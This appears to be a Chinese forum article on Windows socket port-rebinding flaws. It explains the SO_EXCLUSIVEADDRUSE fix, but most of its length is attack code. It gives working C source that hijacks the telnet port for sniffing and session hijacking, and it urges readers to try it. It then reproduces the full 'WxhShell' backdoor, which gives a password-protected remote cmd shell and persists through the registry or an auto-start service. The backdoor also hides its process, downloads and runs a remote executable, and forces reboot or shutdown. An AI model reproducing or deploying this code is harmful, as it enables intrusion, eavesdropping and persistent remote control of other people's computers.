在WINDOWS的SOCKET服務(wù)器應(yīng)用的編程中，如下的語(yǔ)句或許比比都是：
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = htonl(INADDR_ANY);
bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
其實(shí)這當(dāng)中存在在非常大的安全隱患，因?yàn)樵趙insock的實(shí)現(xiàn)中，對(duì)于服務(wù)器的綁定是可以多重綁定的，在確定多重綁定使用誰(shuí)的時(shí)候，根據(jù)一條原則是誰(shuí)的指定最明確則將包遞交給誰(shuí)，而且沒(méi)有權(quán)限之分，也就是說(shuō)低級(jí)權(quán)限的用戶是可以重綁定在高級(jí)權(quán)限如服務(wù)啟動(dòng)的端口上的,這是非常重大的一個(gè)安全隱患。
這意味著什么？意味著可以進(jìn)行如下的攻擊：
1。一個(gè)木馬綁定到一個(gè)已經(jīng)合法存在的端口上進(jìn)行端口的隱藏，他通過(guò)自己特定的包格式判斷是不是自己的包，如果是自己處理，如果不是通過(guò)127.0.0.1的地址交給真正的服務(wù)器應(yīng)用進(jìn)行處理。
2。一個(gè)木馬可以在低權(quán)限用戶上綁定高權(quán)限的服務(wù)應(yīng)用的端口，進(jìn)行該處理信息的嗅探，本來(lái)在一個(gè)主機(jī)上監(jiān)聽(tīng)一個(gè)SOCKET的通訊需要具備非常高的權(quán)限要求，但其實(shí)利用SOCKET重綁定，你可以輕易的監(jiān)聽(tīng)具備這種SOCKET編程漏洞的通訊，而無(wú)須采用什么掛接，鉤子或低層的驅(qū)動(dòng)技術(shù)（這些都需要具備管理員權(quán)限才能達(dá)到）
3。針對(duì)一些的特殊應(yīng)用，可以發(fā)起中間人攻擊，從低權(quán)限用戶上獲得信息或事實(shí)欺騙，如在guest權(quán)限下攔截telnet服務(wù)器的23端口，如果是采用NTLM加密認(rèn)證，雖然你無(wú)法通過(guò)嗅探直接獲取密碼，但一旦有admin用戶通過(guò)你登陸以后，你的應(yīng)用就完全可以發(fā)起中間人攻擊，扮演這個(gè)登陸的用戶通過(guò)SOCKET發(fā)送高權(quán)限的命令，到達(dá)入侵的目的。
4.對(duì)于構(gòu)建的WEB服務(wù)器，入侵者只需要獲得低級(jí)的權(quán)限，就可以完全達(dá)到更改網(wǎng)頁(yè)目的，很簡(jiǎn)單，扮演你的服務(wù)器給予連接請(qǐng)求以其他信息的應(yīng)答，甚至是基于電子商務(wù)上的欺騙，獲取非法的數(shù)據(jù)?！?
其實(shí)，MS自己的很多服務(wù)的SOCKET編程都存在這樣的問(wèn)題，telnet,ftp,http的服務(wù)實(shí)現(xiàn)全部都可以利用這種方法進(jìn)行攻擊，在低權(quán)限用戶上實(shí)現(xiàn)對(duì)SYSTEM應(yīng)用的截聽(tīng)。包括W2K+SP3的IIS也都一樣，那么如果你已經(jīng)可以以低權(quán)限用戶入侵或木馬植入的話，而且對(duì)方又開(kāi)啟了這些服務(wù)的話，那就不妨一試。并且我估計(jì)還有很多第三方的服務(wù)也大多存在這個(gè)漏洞。
解決的方法很簡(jiǎn)單，在編寫(xiě)如上應(yīng)用的時(shí)候，綁定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求獨(dú)占所有的端口地址，而不允許復(fù)用。這樣其他人就無(wú)法復(fù)用這個(gè)端口了。
下面就是一個(gè)簡(jiǎn)單的截聽(tīng)ms telnet服務(wù)器的例子，在GUEST用戶下都能成功進(jìn)行截聽(tīng)，剩余的就是大家根據(jù)自己的需要，進(jìn)行一些特殊剪裁的問(wèn)題了：如是隱藏，嗅探數(shù)據(jù)，高權(quán)限用戶欺騙等。
#include
#include
#include
#include
DWORD WINAPI ClientThread(LPVOID lpParam);
int main()
{
WORD wVersionRequested;
DWORD ret;
WSADATA wsaData;
BOOL val;
SOCKADDR_IN saddr;
SOCKADDR_IN scaddr;
int err;
SOCKET s;
SOCKET sc;
int caddsize;
HANDLE mt;
DWORD tid;
wVersionRequested = MAKEWORD( 2, 2 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 ) {
printf("error!WSAStartup failed!\n");
return -1;
}
saddr.sin_family = AF_INET;
//截聽(tīng)雖然也可以將地址指定為INADDR_ANY，但是要不能影響正常應(yīng)用情況下，應(yīng)該指定具體的IP，留下127.0.0.1給正常的服務(wù)應(yīng)用，然后利用這個(gè)地址進(jìn)行轉(zhuǎn)發(fā)，就可以不影響對(duì)方正常應(yīng)用了
saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
saddr.sin_port = htons(23);
if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{
printf("error!socket failed!\n");
return -1;
}
val = TRUE;
//SO_REUSEADDR選項(xiàng)就是可以實(shí)現(xiàn)端口重綁定的
if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
{
printf("error!setsockopt failed!\n");
return -1;
}
//如果指定了SO_EXCLUSIVEADDRUSE，就不會(huì)綁定成功，返回?zé)o權(quán)限的錯(cuò)誤代碼；
//如果是想通過(guò)重利用端口達(dá)到隱藏的目的，就可以動(dòng)態(tài)的測(cè)試當(dāng)前已綁定的端口哪個(gè)可以成功，就說(shuō)明具備這個(gè)漏洞，然后動(dòng)態(tài)利用端口使得更隱蔽
//其實(shí)UDP端口一樣可以這樣重綁定利用，這兒主要是以TELNET服務(wù)為例子進(jìn)行攻擊
if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
{
ret=GetLastError();
printf("error!bind failed!\n");
return -1;
}
listen(s,2);
while(1)
{
caddsize = sizeof(scaddr);
//接受連接請(qǐng)求
sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
if(sc!=INVALID_SOCKET)
{
mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
if(mt==NULL)
{
printf("Thread Creat Failed!\n");
break;
}
}
CloseHandle(mt);
}
closesocket(s);
WSACleanup();
return 0;
}
DWORD WINAPI ClientThread(LPVOID lpParam)
{
SOCKET ss = (SOCKET)lpParam;
SOCKET sc;
unsigned char buf[4096];
SOCKADDR_IN saddr;
long num;
DWORD val;
DWORD ret;
//如果是隱藏端口應(yīng)用的話，可以在此處加一些判斷
//如果是自己的包，就可以進(jìn)行一些特殊處理，不是的話通過(guò)127.0.0.1進(jìn)行轉(zhuǎn)發(fā)
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
saddr.sin_port = htons(23);
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{
printf("error!socket failed!\n");
return -1;
}
val = 100;
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{
ret = GetLastError();
return -1;
}
if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{
ret = GetLastError();
return -1;
}
if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
{
printf("error!socket connect failed!\n");
closesocket(sc);
closesocket(ss);
return -1;
}
while(1)
{
//下面的代碼主要是實(shí)現(xiàn)通過(guò)127。0。0。1這個(gè)地址把包轉(zhuǎn)發(fā)到真正的應(yīng)用上，并把應(yīng)答的包再轉(zhuǎn)發(fā)回去。
//如果是嗅探內(nèi)容的話，可以再此處進(jìn)行內(nèi)容分析和記錄
//如果是攻擊如TELNET服務(wù)器，利用其高權(quán)限登陸用戶的話，可以分析其登陸用戶，然后利用發(fā)送特定的包以劫持的用戶身份執(zhí)行。
num = recv(ss,buf,4096,0);
if(num>0)
send(sc,buf,num,0);
else if(num==0)
break;
num = recv(sc,buf,4096,0);
if(num>0)
send(ss,buf,num,0);
else if(num==0)
break;
}
closesocket(ss);
closesocket(sc);
return 0 ;
}
==========================================================
下邊附上一個(gè)代碼，，WXhSHELL
==========================================================
#include "stdafx.h"
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>
#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")
#define MAX_USER 100 // 最大客戶端連接數(shù)
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 輸入 buffer
#define REBOOT 0 // 重啟
#define SHUTDOWN 1 // 關(guān)機(jī)
#define DEF_PORT 5000 // 監(jiān)聽(tīng)端口
#define REG_LEN 16 // 注冊(cè)表鍵長(zhǎng)度
#define SVC_LEN 80 // NT服務(wù)名長(zhǎng)度
// 從dll定義API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
// wxhshell配置信息
struct WSCFG {
int ws_port; // 監(jiān)聽(tīng)端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安裝標(biāo)記, 1=yes 0=no
char ws_regname[REG_LEN]; // 注冊(cè)表鍵名
char ws_svcname[REG_LEN]; // 服務(wù)名
char ws_svcdisp[SVC_LEN]; // 服務(wù)顯示名
char ws_svcdesc[SVC_LEN]; // 服務(wù)描述信息
char ws_passmsg[SVC_LEN]; // 密碼輸入提示信息
int ws_downexe; // 下載執(zhí)行標(biāo)記, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下載文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下載后保存的文件名
};
// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};
// 消息定義模塊
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虛幻靈者\(yùn)n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";
char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";
char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;
SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;
// 函數(shù)聲明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );
// 數(shù)據(jù)結(jié)構(gòu)和表定義
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};
// 自我安裝
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);
// 如果是win9x系統(tǒng)，修改注冊(cè)表設(shè)為自啟動(dòng)
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {
// 如果是NT以上系統(tǒng)，安裝為系統(tǒng)服務(wù)
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}
return 1;
}
// 自我卸載
int Uninstall(void)
{
HKEY key;
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}
return 1;
}
// 從指定url下載文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];
strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}
GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;
}
// 系統(tǒng)電源模塊
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}
return 1;
}
// win9x進(jìn)程隱藏模塊
void HideProc(void)
{
HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}
return;
}
// 獲取操作系統(tǒng)版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}
// 客戶端句柄模塊
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;
while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
return 0;
}
// 關(guān)閉 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}
// 客戶端請(qǐng)求句柄
void TalkWithClient(void *cs)
{
SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;
while (nUser < MAX_USER) {
if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {
// 設(shè)置超時(shí)
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd[i]=chr[0];
if(chr[0]==0xd || chr[0]==0xa) {
pwd[i]=0;
break;
}
i++;
}
// 如果是非法用戶，關(guān)閉 socket
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);
}
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
while(1) {
ZeroMemory(cmd,KEY_BUFF);
// 自動(dòng)支持客戶端 telnet標(biāo)準(zhǔn)
j=0;
while(j<KEY_BUFF) {
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
cmd[j]=chr[0];
if(chr[0]==0xa || chr[0]==0xd) {
cmd[j]=0;
break;
}
j++;
}
// 下載文件
if(strstr(cmd,"http://")) {
send(wsh,msg_ws_down,strlen(msg_ws_down),0);
if(DownloadFile(cmd,wsh))
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
else
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
}
else {
switch(cmd[0]) {
// 幫助
case '?': {
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);
break;
}
// 安裝
case 'i': {
if(Install())
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
else
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
break;
}
// 卸載
case 'r': {
if(Uninstall())
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
else
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
break;
}
// 顯示 wxhshell 所在路徑
case 'p': {
char svExeFile[MAX_PATH];
strcpy(svExeFile,"\n\r");
strcat(svExeFile,ExeFile);
send(wsh,svExeFile,strlen(svExeFile),0);
break;
}
// 重啟
case 'b': {
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);
if(Boot(REBOOT))
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
else {
closesocket(wsh);
ExitThread(0);
}
break;
}
// 關(guān)機(jī)
case 'd': {
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);
if(Boot(SHUTDOWN))
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
else {
closesocket(wsh);
ExitThread(0);
}
break;
}
// 獲取shell
case 's': {
CmdShell(wsh);
closesocket(wsh);
ExitThread(0);
break;
}
// 退出
case 'x': {
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);
CloseIt(wsh);
break;
}
// 離開(kāi)
case 'q': {
send(wsh,msg_ws_end,strlen(msg_ws_end),0);
closesocket(wsh);
WSACleanup();
exit(1);
break;
}
}
}
// 提示信息
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
}
}
return;
}
// shell模塊句柄
int CmdShell(SOCKET sock)
{
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;
PROCESS_INFORMATION ProcessInfo;
char cmdline[]="cmd";
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);
return 0;
}
// 自身啟動(dòng)模式
int StartFromService(void)
{
typedef struct
{
DWORD ExitStatus;
DWORD PebBaseAddress;
DWORD AffinityMask;
DWORD BasePriority;
ULONG UniqueProcessId;
ULONG InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION;
PROCNTQSIP NtQueryInformationProcess;
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;
HANDLE hProcess;
PROCESS_BASIC_INFORMATION pbi;
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");
if(NULL == hInst ) return 0;
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");
if (!NtQueryInformationProcess) return 0;
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());
if(!hProcess) return 0;
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;
CloseHandle(hProcess);
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);
if(hProcess==NULL) return 0;
HMODULE hMod;
char procName[255];
unsigned long cbNeeded;
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));
CloseHandle(hProcess);
if(strstr(procName,"services")) return 1; // 以服務(wù)啟動(dòng)
return 0; // 注冊(cè)表啟動(dòng)
}
// 主模塊
int StartWxhshell(LPSTR lpCmdLine)
{
SOCKET wsl;
BOOL val=TRUE;
int port=0;
struct sockaddr_in door;
if(wscfg.ws_autoins) Install();
port=atoi(lpCmdLine);
if(port<=0) port=wscfg.ws_port;
WSADATA data;
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));
door.sin_family = AF_INET;
door.sin_addr.s_addr = inet_addr("127.0.0.1");
door.sin_port = htons(port);
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {
closesocket(wsl);
return 1;
}
if(listen(wsl,2) == INVALID_SOCKET) {
closesocket(wsl);
return 1;
}
Wxhshell(wsl);
WSACleanup();
return 0;
}
// 以NT服務(wù)方式啟動(dòng)
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )
{
DWORD status = 0;
DWORD specificError = 0xfffffff;
serviceStatus.dwServiceType = SERVICE_WIN32;
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;
serviceStatus.dwWin32ExitCode = 0;
serviceStatus.dwServiceSpecificExitCode = 0;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);
if (hServiceStatusHandle==0) return;
status = GetLastError();
if (status!=NO_ERROR)
{
serviceStatus.dwCurrentState = SERVICE_STOPPED;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;
serviceStatus.dwWin32ExitCode = status;
serviceStatus.dwServiceSpecificExitCode = specificError;
SetServiceStatus(hServiceStatusHandle, &serviceStatus);
return;
}
serviceStatus.dwCurrentState = SERVICE_RUNNING;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");
}
// 處理NT服務(wù)事件，比如：?jiǎn)?dòng)、停止
VOID WINAPI NTServiceHandler(DWORD fdwControl)
{
switch(fdwControl)
{
case SERVICE_CONTROL_STOP:
serviceStatus.dwWin32ExitCode = 0;
serviceStatus.dwCurrentState = SERVICE_STOPPED;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;
{
SetServiceStatus(hServiceStatusHandle, &serviceStatus);
}
return;
case SERVICE_CONTROL_PAUSE:
serviceStatus.dwCurrentState = SERVICE_PAUSED;
break;
case SERVICE_CONTROL_CONTINUE:
serviceStatus.dwCurrentState = SERVICE_RUNNING;
break;
case SERVICE_CONTROL_INTERROGATE:
break;
};
SetServiceStatus(hServiceStatusHandle, &serviceStatus);
}
// 標(biāo)準(zhǔn)應(yīng)用程序主函數(shù)
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)
{
// 獲取操作系統(tǒng)版本
OsIsNt=GetOsVer();
GetModuleFileName(NULL,ExeFile,MAX_PATH);
// 從命令行安裝
if(strpbrk(lpCmdLine,"iI")) Install();
// 下載執(zhí)行文件
if(wscfg.ws_downexe) {
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)
WinExec(wscfg.ws_filenam,SW_HIDE);
}
if(!OsIsNt) {
// 如果時(shí)win9x，隱藏進(jìn)程并且設(shè)置為注冊(cè)表啟動(dòng)
HideProc();
StartWxhshell(lpCmdLine);
}
else
if(StartFromService())
// 以服務(wù)方式啟動(dòng)
StartServiceCtrlDispatcher(DispatchTable);
else
// 普通方式啟動(dòng)
StartWxhshell(lpCmdLine);
return 0;
}